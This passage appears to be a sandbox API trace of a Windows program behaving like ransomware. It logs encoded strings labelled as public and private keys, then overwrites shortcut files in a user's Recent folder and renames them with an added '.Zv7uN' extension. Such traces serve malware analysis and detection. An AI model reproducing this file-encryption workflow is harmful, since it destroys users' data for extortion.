xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0081.554] GetCurrentThreadId () returned 0xa30 [0081.554] GetCurrentThreadId () returned 0xa30 [0081.554] GetCurrentThreadId () returned 0xa30 [0081.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.555] GetCurrentThreadId () returned 0xa30 [0081.555] GetCurrentThreadId () returned 0xa30 [0081.555] GetCurrentThreadId () returned 0xa30 [0081.555] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HQv2g4iB5_eiXxJt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hqv2g4ib5_eixxjt.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.555] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.555] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.556] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x410 [0081.556] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.556] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x410, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x410, lpOverlapped=0x0) returned 1 [0081.557] CloseHandle (hObject=0x124) returned 1 [0081.558] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HQv2g4iB5_eiXxJt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hqv2g4ib5_eixxjt.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.559] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x410, lpOverlapped=0x0) returned 1 [0081.561] CloseHandle (hObject=0x124) returned 1 [0081.565] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HQv2g4iB5_eiXxJt.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hqv2g4ib5_eixxjt.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HQv2g4iB5_eiXxJt.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hqv2g4ib5_eixxjt.lnk.zv7un")) returned 1 [0081.566] GetCurrentThreadId () returned 0xa30 [0081.566] GetCurrentThreadId () returned 0xa30 [0081.566] GetCurrentThreadId () returned 0xa30 [0081.567] GetCurrentThreadId () returned 0xa30 [0081.567] GetCurrentThreadId () returned 0xa30 [0081.567] GetCurrentThreadId () returned 0xa30 [0081.567] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe230b8e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe230b8e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe230b8e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x150e, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="I3bWl8wArAF2fKrlEE.mkv.lnk", cAlternateFileName="I3BWL8~1.LNK")) returned 1 [0081.567] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.567] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.567] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I3bWl8wArAF2fKrlEE.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i3bwl8waraf2fkrlee.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe230b8e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe230b8e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe230b8e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x150e)) returned 1 [0081.567] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I3bWl8wArAF2fKrlEE.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i3bwl8waraf2fkrlee.mkv.lnk")) returned 0x20 [0081.567] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I3bWl8wArAF2fKrlEE.mkv.lnk", dwFileAttributes=0x80) returned 1 [0081.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.570] GetCurrentThreadId () returned 0xa30 [0081.570] GetCurrentThreadId () returned 0xa30 [0081.570] GetCurrentThreadId () returned 0xa30 [0081.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 